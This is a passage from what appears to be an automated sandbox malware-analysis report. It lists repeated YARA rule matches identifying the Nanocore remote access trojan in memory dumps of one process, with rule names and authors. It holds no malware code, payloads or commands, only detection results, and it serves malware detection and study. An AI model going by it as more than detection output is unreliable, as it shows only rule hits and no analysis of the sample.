00000022.00000002.2354192632.0000000000AC0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2354334039.0000000000C60000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2354334039.0000000000C60000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2354257408.0000000000BF0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2354257408.0000000000BF0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000022.00000002.2359934676.0000000003678000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: NanoCore, Description: unknown, Source:
00000022.00000002.2359934676.0000000003678000.00000004.00000001.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2353616508.00000000003F0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2353616508.00000000003F0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
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00000022.00000002.2354275744.0000000000C00000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2354275744.0000000000C00000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2354246259.0000000000BE0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2354246259.0000000000BE0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2353937433.00000000005D0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2353937433.00000000005D0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2354319095.0000000000C50000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2354319095.0000000000C50000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000022.00000002.2359482992.00000000034F9000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: NanoCore, Description: unknown, Source:
00000022.00000002.2359482992.00000000034F9000.00000004.00000001.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2354021800.0000000000800000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2354021800.0000000000800000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: NanoCore, Description: unknown, Source:
00000022.00000002.2355684386.0000000002502000.00000004.00000001.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2354370818.0000000000CB0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2354370818.0000000000CB0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000022.00000002.2355475529.00000000024B1000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2354478955.0000000000D70000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2354478955.0000000000D70000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: NanoCore, Description: unknown, Source:
00000022.00000002.2360227304.0000000003777000.00000004.00000001.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2353673485.0000000000402000.00000040.00000001.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000022.00000002.2353673485.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: NanoCore, Description: unknown, Source:
00000022.00000002.2353673485.0000000000402000.00000040.00000001.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2353950327.00000000005E0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2353950327.00000000005E0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2354423822.0000000000CD0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2354423822.0000000000CD0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2353767111.0000000000440000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000022.00000002.2353767111.0000000000440000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000022.00000002.2353767111.0000000000440000.00000004.00000001.sdmp,
Author: Joe Security
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